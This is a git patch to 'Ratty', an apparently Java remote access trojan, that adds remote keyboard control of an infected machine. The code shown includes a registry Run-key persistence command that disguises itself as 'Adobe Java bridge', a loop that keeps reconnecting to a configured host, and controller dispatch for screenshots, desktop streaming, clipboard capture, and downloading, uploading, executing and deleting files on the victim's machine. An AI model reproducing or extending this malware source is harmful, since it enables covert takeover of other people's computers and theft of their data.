From bc86aeff0dfb2b456e73a82eb5bf280fd9a56225 Mon Sep 17 00:00:00 2001 From: Sogomn Date: Fri, 5 Feb 2016 20:10:17 +0100 Subject: [PATCH] Major changes Added keyboard control --- Ratty/res/connection_data.txt | 3 +- Ratty/src/de/sogomn/rat/Ratty.java | 12 ++--- .../de/sogomn/rat/packet/KeyEventPacket.java | 2 + .../sogomn/rat/server/gui/DisplayPanel.java | 13 ++++- .../rat/server/gui/RattyGuiController.java | 50 +++++++++++-------- 5 files changed, 48 insertions(+), 32 deletions(-) diff --git a/Ratty/res/connection_data.txt b/Ratty/res/connection_data.txt index 9daf0d2..6aa958e 100644 --- a/Ratty/res/connection_data.txt +++ b/Ratty/res/connection_data.txt @@ -1,3 +1,2 @@ localhost -23456 -false \ No newline at end of file +23456 \ No newline at end of file diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index b569600..6dc641a 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -19,7 +19,6 @@ public final class Ratty { private static String address; private static int port; - public static boolean client; private static final int CONNECTION_INTERVAL = 2500; private static final String CONNECTION_DATA_FILE_NAME = "/connection_data.txt"; @@ -30,22 +29,21 @@ public final class Ratty { private static final String REGISTRY_COMMAND = "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Adobe Java bridge\" /d \"" + STARTUP_FILE_PATH + "\""; public static final String VERSION = "1.0"; + public static final boolean CLIENT = false; private Ratty() { //... } - private static void readConnectionData() throws NumberFormatException, ArrayIndexOutOfBoundsException { + private static void readConnectionData() { final String[] lines = FileUtils.readInternalLines(CONNECTION_DATA_FILE_NAME); - if (lines.length >= 3) { + if (lines.length >= 2) { final String addressString = lines[0]; final String portString = lines[1]; - final String clientString = lines[2]; address = addressString; port = Integer.parseInt(portString); - client = Boolean.parseBoolean(clientString); } } @@ -71,7 +69,7 @@ public final class Ratty { try { Thread.sleep(CONNECTION_INTERVAL); } catch (final InterruptedException ex) { - ex.printStackTrace(); + //... } finally { System.gc(); connectToHost(address, port); @@ -97,7 +95,7 @@ public final class Ratty { WebLookAndFeel.install(); readConnectionData(); - if (client) { + if (CLIENT) { addToStartup(); connectToHost(address, port); } else { diff --git a/Ratty/src/de/sogomn/rat/packet/KeyEventPacket.java b/Ratty/src/de/sogomn/rat/packet/KeyEventPacket.java index 8ff6bfe..5eb1007 100644 --- a/Ratty/src/de/sogomn/rat/packet/KeyEventPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/KeyEventPacket.java @@ -49,6 +49,8 @@ public final class KeyEventPacket implements IPacket { rob.keyPress(key); rob.keyRelease(key); } + + System.out.println("Yeh"); } catch (final IllegalArgumentException ex) { System.err.println("No valid key code"); } catch (final AWTException ex) { diff --git a/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java b/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java index 9094367..cf55f3b 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java +++ b/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java @@ -14,11 +14,16 @@ public final class DisplayPanel { private Screen screen; private BufferedImage image; + private int lastKeyHit; + private IGuiController controller; private static final int SCREEN_WIDTH = 1920 / 2; private static final int SCREEN_HEIGHT = 1080 / 2; + public static final String KEY_PRESSED = "Key pressed"; + public static final String KEY_RELEASED = "Key released"; + public DisplayPanel() { //... } @@ -38,8 +43,10 @@ public final class DisplayPanel { } private void keyEvent(final int key, final boolean flag) { + lastKeyHit = key; + if (controller != null) { - //TODO + controller.userInput(flag ? KEY_PRESSED : KEY_RELEASED); } } @@ -87,4 +94,8 @@ public final class DisplayPanel { this.controller = controller; } + public int getLastKeyHit() { + return lastKeyHit; + } + } diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index 2fb0751..a68b6fb 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -11,6 +11,7 @@ import de.sogomn.rat.ActiveClient; import de.sogomn.rat.IClientObserver; import de.sogomn.rat.packet.ClipboardPacket; import de.sogomn.rat.packet.CommandPacket; +import de.sogomn.rat.packet.CreateFolderPacket; import de.sogomn.rat.packet.DeleteFilePacket; import de.sogomn.rat.packet.DesktopStreamPacket; import de.sogomn.rat.packet.DownloadFilePacket; @@ -19,7 +20,7 @@ import de.sogomn.rat.packet.FileSystemPacket; import de.sogomn.rat.packet.FreePacket; import de.sogomn.rat.packet.IPacket; import de.sogomn.rat.packet.InformationPacket; -import de.sogomn.rat.packet.CreateFolderPacket; +import de.sogomn.rat.packet.KeyEventPacket; import de.sogomn.rat.packet.PopupPacket; import de.sogomn.rat.packet.ScreenshotPacket; import de.sogomn.rat.packet.UploadFilePacket; @@ -70,32 +71,32 @@ public final class RattyGuiController implements IServerObserver, IClientObserve } private IPacket getPacket(final String command, final ServerClient serverClient) { + IPacket packet = null; + if (command == RattyGui.POPUP) { - return PopupPacket.create(); + packet = PopupPacket.create(); } else if (command == RattyGui.FREE) { - return new FreePacket(); + packet = new FreePacket(); } else if (command == RattyGui.SCREENSHOT) { - return new ScreenshotPacket(); + packet = new ScreenshotPacket(); } else if (command == RattyGui.COMMAND) { - return CommandPacket.create(); + packet = CommandPacket.create(); } else if (command == RattyGui.DESKTOP) { - return new DesktopStreamPacket(true); + packet = new DesktopStreamPacket(true); } else if (command == RattyGui.CLIPBOARD) { - return new ClipboardPacket(); + packet = new ClipboardPacket(); } else if (command == FileTreePanel.REQUEST) { final FileTreePanel treePanel = serverClient.getTreePanel(); final String path = treePanel.getLastPathClicked(); - final FileSystemPacket packet = new FileSystemPacket(path); - treePanel.removeChildren(path); + packet = new FileSystemPacket(path); - return packet; + treePanel.removeChildren(path); } else if (command == FileTreePanel.DOWNLOAD) { final FileTreePanel treePanel = serverClient.getTreePanel(); final String path = treePanel.getLastPathClicked(); - final DownloadFilePacket packet = new DownloadFilePacket(path); - return packet; + packet = new DownloadFilePacket(path); } else if (command == FileTreePanel.UPLOAD) { final File file = chooseFile(); @@ -103,37 +104,42 @@ public final class RattyGuiController implements IServerObserver, IClientObserve final String localPath = file.getAbsolutePath(); final FileTreePanel treePanel = serverClient.getTreePanel(); final String path = treePanel.getLastNodePathFolder(); - final UploadFilePacket packet = new UploadFilePacket(localPath, path); - return packet; + packet = new UploadFilePacket(localPath, path); } } else if (command == FileTreePanel.EXECUTE) { final FileTreePanel treePanel = serverClient.getTreePanel(); final String path = treePanel.getLastPathClicked(); - final ExecuteFilePacket packet = new ExecuteFilePacket(path); - return packet; + packet = new ExecuteFilePacket(path); } else if (command == FileTreePanel.NEW_FOLDER) { final FileTreePanel treePanel = serverClient.getTreePanel(); final String path = treePanel.getLastNodePathFolder(); final String name = JOptionPane.showInputDialog(null); if (name != null && !name.isEmpty()) { - final CreateFolderPacket packet = new CreateFolderPacket(path, name); - - return packet; + packet = new CreateFolderPacket(path, name); } } else if (command == FileTreePanel.DELETE) { final FileTreePanel treePanel = serverClient.getTreePanel(); final String path = treePanel.getLastPathClicked(); - final DeleteFilePacket packet = new DeleteFilePacket(path); + + packet = new DeleteFilePacket(path); treePanel.removeFile(path); + } else if (command == DisplayPanel.KEY_PRESSED) { + final DisplayPanel displayPanel = serverClient.getDisplayPanel(); + final int key = displayPanel.getLastKeyHit(); - return packet; + packet = new KeyEventPacket(key, KeyEventPacket.PRESS); + } else if (command == DisplayPanel.KEY_RELEASED) { + final DisplayPanel displayPanel = serverClient.getDisplayPanel(); + final int key = displayPanel.getLastKeyHit(); + + packet = new KeyEventPacket(key, KeyEventPacket.RELEASE); } - return null; + return packet; } private void handle(final ServerClient serverClient, final ScreenshotPacket packet) {